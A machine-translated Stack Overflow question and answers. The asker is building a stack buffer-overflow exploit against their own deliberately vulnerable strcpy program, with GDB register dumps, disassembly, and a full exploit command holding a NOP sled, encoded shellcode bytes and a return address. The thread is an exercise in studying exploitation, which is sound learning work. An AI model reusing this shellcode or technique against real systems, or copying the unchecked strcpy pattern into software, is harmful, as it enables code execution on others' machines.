2015-11-08 22 views
5

Pracuję nad kilkoma przykładami exploitów przepełnienia bufora i napisałem podstawową wrażliwą aplikację C do przetestowania za pomocą: (cel i atakujący to ta sama maszyna Kali 2 i uruchomiono "echo" 0 ">/proc/sys/kernel/randomize_va_space ")Przepełnienie bufora Exploit Przykład

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) 
{ 
     char buffer[256]; 
     if (argc != 2) 
     { 
       exit(0); 
     } 

     strcpy(buffer, argv[1]); 
     printf("%s\n", buffer); 
} 

teraz, z pewnym testów w GDB mogę spowodować usterkę seg umieszczając 260 bajtów w buforze:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52') 

z rejestrów pokazując:

eax   0x105 261 
ecx   0xffffd300 -11520 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0xffffd300 0xffffd300 
ebp   0x0 0x0 
esi   0x0 0 
edi   0x0 0 
eip   0x42424242 0x42424242 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

Myślę, że może z powodzeniem przejąć kontrolę EIP, biorąc pod uwagę 0x424242 powyżej (chociaż EBP jest 0x0 ??)

Pytanie 1.

z buforem 260 bajtów, EIP jest nadpisane jako powyżej. W przypadku korzystania z:

r $(python -c 'print "A" * 512') 

jestem uznając, że SEGSEGV jest 0x080484b4 z rejestrów

eax   0x201 513 
ecx   0x41414141 1094795585 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0x4141413d 0x4141413d 
ebp   0x41414141 0x41414141 
esi   0x0 0 
edi   0x0 0 
eip   0x80484b4 0x80484b4 <main+89> 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

myślałem, że jeśli kontrola 260 Zyski z EIP nie powinny przykład 512 bajtów, a także ? Dlaczego scenariusz 512 pozwala EIP wskazywać na ret w tym przypadku zamiast na 0x424242 jak w przykładzie bufora 260 bajtów powyżej?

Pytanie 2.

Stworzyłem że ładowność wynosi 87 bajtów. Mam wstrzykiwany ładunek do pierwszych 204 bajtów jak poniżej

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)') 

moich disas głównym jest następująco

0x0804845b <+0>: lea 0x4(%esp),%ecx 
    0x0804845f <+4>: and $0xfffffff0,%esp 
    0x08048462 <+7>: pushl -0x4(%ecx) 
    0x08048465 <+10>: push %ebp 
    0x08048466 <+11>: mov %esp,%ebp 
    0x08048468 <+13>: push %ecx 
    0x08048469 <+14>: sub $0x104,%esp 
    0x0804846f <+20>: mov %ecx,%eax 
    0x08048471 <+22>: cmpl $0x2,(%eax) 
    0x08048474 <+25>: je  0x8048480 <main+37> 
    0x08048476 <+27>: sub $0xc,%esp 
    0x08048479 <+30>: push $0x0 
    0x0804847b <+32>: call 0x8048340 <[email protected]> 
    0x08048480 <+37>: mov 0x4(%eax),%eax 
    0x08048483 <+40>: add $0x4,%eax 
    0x08048486 <+43>: mov (%eax),%eax 
    0x08048488 <+45>: sub $0x8,%esp 
    0x0804848b <+48>: push %eax 
    0x0804848c <+49>: lea -0x108(%ebp),%eax 
    0x08048492 <+55>: push %eax 
    0x08048493 <+56>: call 0x8048310 <[email protected]> 
    0x08048498 <+61>: add $0x10,%esp 
    0x0804849b <+64>: sub $0xc,%esp 
    0x0804849e <+67>: lea -0x108(%ebp),%eax 
    0x080484a4 <+73>: push %eax 
    0x080484a5 <+74>: call 0x8048320 <[email protected]> 
    0x080484aa <+79>: add $0x10,%esp 
    0x080484ad <+82>: mov -0x4(%ebp),%ecx 
    0x080484b0 <+85>: leave 
    0x080484b1 <+86>: lea -0x4(%ecx),%esp 
=> 0x080484b4 <+89>: ret 

Stawianie sobie przerwę na 56 (0x08048493) i zbadaniu ESP x/2wx $ esp i można stwierdzić, że:

0xffffd220: 0xffffd230 0xffffd56b 

oraz x/s 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>... 
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times> 

tak, można wywnioskować (oby poprawnie), że EIP powinna być \ X6b \ xd5 \ xff \ xff zadzwonić do wykorzystania, i zastępując wszystkie kawałki jak poniżej (używając nop sanki):

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)') 

Niestety, program obecnie kończy się normalnie z "[Gorszy 1 (proces 2863) wychodzący normalnie]". Czy brakuje mi czegoś lub po prostu odejście od właściwej ścieżki ...? Również zauważam, że przerwy nie łamią się w powyższym stwierdzeniu?

- Edycja

przeredagowany więcej sensu po odchodząc od godziny na ekranie :)

+0

Współczesne systemy operacyjne nie pozwalają modyfikować instrukcji, więc jeśli próbujesz zastąpić instrukcję ret, spowoduje to błąd. Co masz na myśli mówiąc "wypełnij EIP"? EIP jest wskaźnikiem instrukcji. –

+0

@BobbySacamano: niekoniecznie, jeśli kod znajduje się na stosie. Stos jest czytany i zapisywany. Nie wszystkie systemy operacyjne zapobiegają wykonywaniu kodu na stosie (ponieważ niektóre systemy operacyjne umieszczają kod trampolin na stosie). Kod wykorzystujący lukę w buforze znajdzie się na stosie, więc zależy to od tego, czy system operacyjny pozwoli na wykonanie kodu na stosie. –

+0

@MichaelPetch o dobry punkt. Czasami zapominam o atakach z wykorzystaniem danych. Potrzeba więcej informacji, aby odpowiedzieć na to pytanie. –

Odpowiedz

1

Zauważ, że oryginalny wskaźnik stosu jest zapisywana na stosie i przywróceniu tuż przed ret .Więc jeśli nadpisujesz stos, możesz również nadpisać wskaźnik stosu, który będzie używany dla ret. main jest specjalny w ten sposób, ponieważ ma kod wyrównania stosu w prologu.

To powiedziawszy, oczekiwane zachowanie jest w rzeczywistości drugim przypadkiem, a pierwsze jest tym specjalnym. Twój łańcuch ma odpowiednią długość, więc zerowanie zera nadpisuje niski bajt zapisanego wskaźnika stosu, który wystarczy, aby był trochę niższy w pamięci, ale wciąż w ciągu znaków. Dokładna lokalizacja zależy od układu stosu, nie zawsze będzie to Twoja BBBB, w rzeczywistości dla mnie jest to gdzieś w części AAAA. Zwróć uwagę, że nawet przy wyłączonym ASLR układ stosu może się zmienić ze względu na środowisko, więc nawet jeśli dostaniesz exploit działający w gdb, może on nie działać niezawodnie lub w ogóle z powłoki.

+0

dzięki za odpowiedź, myślę, że ma to jakiś sens w moim umyśle. Mówiąc to, jakie są moje możliwości w działaniu tego exploita? – TheITGuy

+0

Jeśli napisałeś to dla siebie jako ćwiczenia, możesz chcieć umieścić wszystko w oddzielnej funkcji i nie używać "głównego" - to będzie prostsze, ponieważ inne funkcje nie mają kodu wyrównania stosu. W rzeczywistości rzadko korzystasz z samego "głównego". – Jester

+0

dzięki - przeniosłem logikę przepełnienia do funkcji i wywołałem ją z głównej. Teraz widzę, że problem z punktu 1 powyżej już nie istnieje, a exploit wydaje się być "czymś" działającym. Odbieram/bin/dash: 0: nie mogę otworzyć w gdb. Czy jest to prawdopodobnie problem z przepełnieniem, czy też z samym exploitem? – TheITGuy

Powiązane problemy